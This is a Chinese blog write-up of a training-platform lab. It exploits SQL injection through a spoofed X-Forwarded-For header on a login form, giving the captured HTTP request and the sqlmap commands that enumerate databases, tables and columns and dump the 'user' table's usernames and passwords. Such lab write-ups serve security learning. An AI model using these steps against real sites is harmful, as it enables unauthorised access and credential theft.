X-Forwarded-For注入漏洞过程记录
一、题目地址 https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe 二、使用工具
FireFox浏览器、SQLMAP 三、确认漏洞 题目说是X-Forwarded-For注入漏洞,先确认一下是不是 1. 随便输入账号密码后点击登录

2. 返回结果

弹窗有乱码,没关系,按F12打开调试窗口,在调试窗口中查看请求和响应
3. 弹窗信息

弹窗信息中告诉我,我的IP地址 27.17.120.22 被记录了,可能是记录到数据库中了,也就是将该IP写到了数据库中;竟然跟数据库有交互,那么可以猜
想,此处可能存在SQL注入漏洞;接下来继续确认
4. 服务端获取客户端IP地址的方式
服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值,确认服务端是不是使用这种方式获取客户端IP地址;编辑刚才的
请求,在请求头中加入X-Forwarded-For:111.23.21.23(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送



可以看到,之前随意填的X-Forwarded-For字段中的IP地址 111.23.21.23 已经被记录了,这就确认了服务端是通过读取X-Forwarded-For的字段值
来获取客户端的IP地址的;下面直接用SQLMAP确认X-Forwarded-For存在SQL注入漏洞
四、SQLMAP跑注入漏洞
1. 将第二次登录请求的信息摘下来,新建成txt文件,这里我命名为x-forwarded-for.txt,并将x-forwarded-for的值改为*;文件内容如下所示:
POST /index.php HTTP/1.1
Host: 219.153.49.228:48584
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Connection: keep-alive
Referer: http://219.153.49.228:48584/index.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For:* username=fff&password=ddd
2. 确认漏洞(命令:sqlmap.py -r x-forwarded-for.txt --batch(需要在x-forwarded-for.txt文件所在的目录中跑))

3. 查询数据库(sqlmap.py -r x-forwarded-for.txt --batch --dbs)

4、查询当前数据库库(sqlmap.py -r x-forwarded-for.txt --batch --current-db)

5. 查询获取数据库中表(sqlmap.py -r x-forwarded-for.txt --batch --tables -D "webcalendar")

6. 查询表的字段(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --columns -T "user" -D "webcalendar")

7. 查询表的内容(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --dump -C "id,username,password" --columns
-T "user" -D "webcalendar")

X-Forwarded-For注入漏洞过程记录的更多相关文章
- 爆库记录(X-Forwarded-For注入漏洞实战 记录)
环境位置: https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe 参考: http://www.fr ...
- MSF利用ms17-010漏洞过程记录
1.使用网上以上一个监测工具,扫描出存在ms17-010的主机地址 2.在kali中使用MSF进行检测,存在mf17-010漏洞 msf > use auxiliary/scanner/smb/ ...
- jdbc mysql crud dao模型 sql注入漏洞 jdbc 操作大文件
day17总结 今日内容 l JDBC 1.1 上次课内容总结 SQL语句: 1.外键约束:foreign key * 维护多个表关系! * 用来保证数据完整性! 2.三种关系: * 一对多: * 一 ...
- [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优
最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...
- 读书笔记之SQL注入漏洞和SQL调优
原文:读书笔记之SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“' ...
- SQL注入漏洞和SQL调优SQL注入漏洞和SQL调优
SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这 ...
- [转]SQL注入漏洞及绑定变量浅谈
1.一个问题引发的思考 大家在群里讨论了一个问题,奉文帅之命写篇作文,且看: String user_web = "user_web" String sql = "upd ...
- SQL注入漏洞技术的详解
SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...
- SQL注入漏洞详解
目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...
随机推荐
- 替换 MyEclipse 中已有的项目
一.删除 tomcat 中的项目 1.停止 tomcat 2.删除 tomcat 中的项目 选中项目,然后右键 - Remove deployment,这个可能需要一点时间 二.删除 MyEclips ...
- http断点续传Range与Content-Range
今天用别人封装的libcurl库下载文件,发现下载下来的文件总是缺少头两个字节,用以下配置启用HTTP头信息打印后发现原来是设置了断点续传位置的原因 curl_easy_setopt(m_pCurl, ...
- Spring Cloud 5大组件
服务发现——Netflix Eureka 客服端负载均衡——Netflix Ribbon 断路器——Netflix Hystrix 服务网关——Netflix Zuul 分布式配置——Spring C ...
- 路由算法之LS算法和DV算法全面分析
转载文章:https://blog.csdn.net/qq_22238021/article/details/80496138 很透彻!!!
- MongoDB批量更新和批量插入的方式
最近,在调试代码中发现向MongoDB插入或者更新文档记录时若是多条的话都是采用for循环操作的,这样的处理方式会造成数据操作耗时,不符合批量处理的原则:对此,个人整理了一下有关MongoDB的批量更 ...
- 自定义结构体 Map
struct Hashmap{ ,maxe=; ],nxt[maxe+],w[maxe+]; ]; ;;} void Add(int x,int y){son[++E]=y;nxt[E]=lnk[x] ...
- SQL Server 疑难杂症--转换科学计数法的数值字符串为decimal类型
今天在操作数据库时,需要将字符串转换成Decimal类型.代码如下: select cast('0.12' as decimal(18,2)); select convert(decimal(18,2 ...
- Linux下tomcat端口被占用
首先查看占用端口的程序 netstat -alnp | grep 8080 然后出现 tcp6 2 0 :::8080 :: LISTEN 1392/java 杀死端口号 kill -9 1392(进 ...
- php设计模式之适配器模式实例代码
<?php header("Content-type:text/html;charset=utf-8"); // 适配器模式 /** * 查看天气接口 */ class Ti ...
- c#中的强类型、弱类型和泛型
强类型和弱类型的变量都有两个属性:类型和值. 强类型的变量类型是不能改变的,弱类型的变量类型是随需改变的,这是强弱的真正含义. 我们在编写c#代码时,变量类型是明确的,不可更改的,如string就是s ...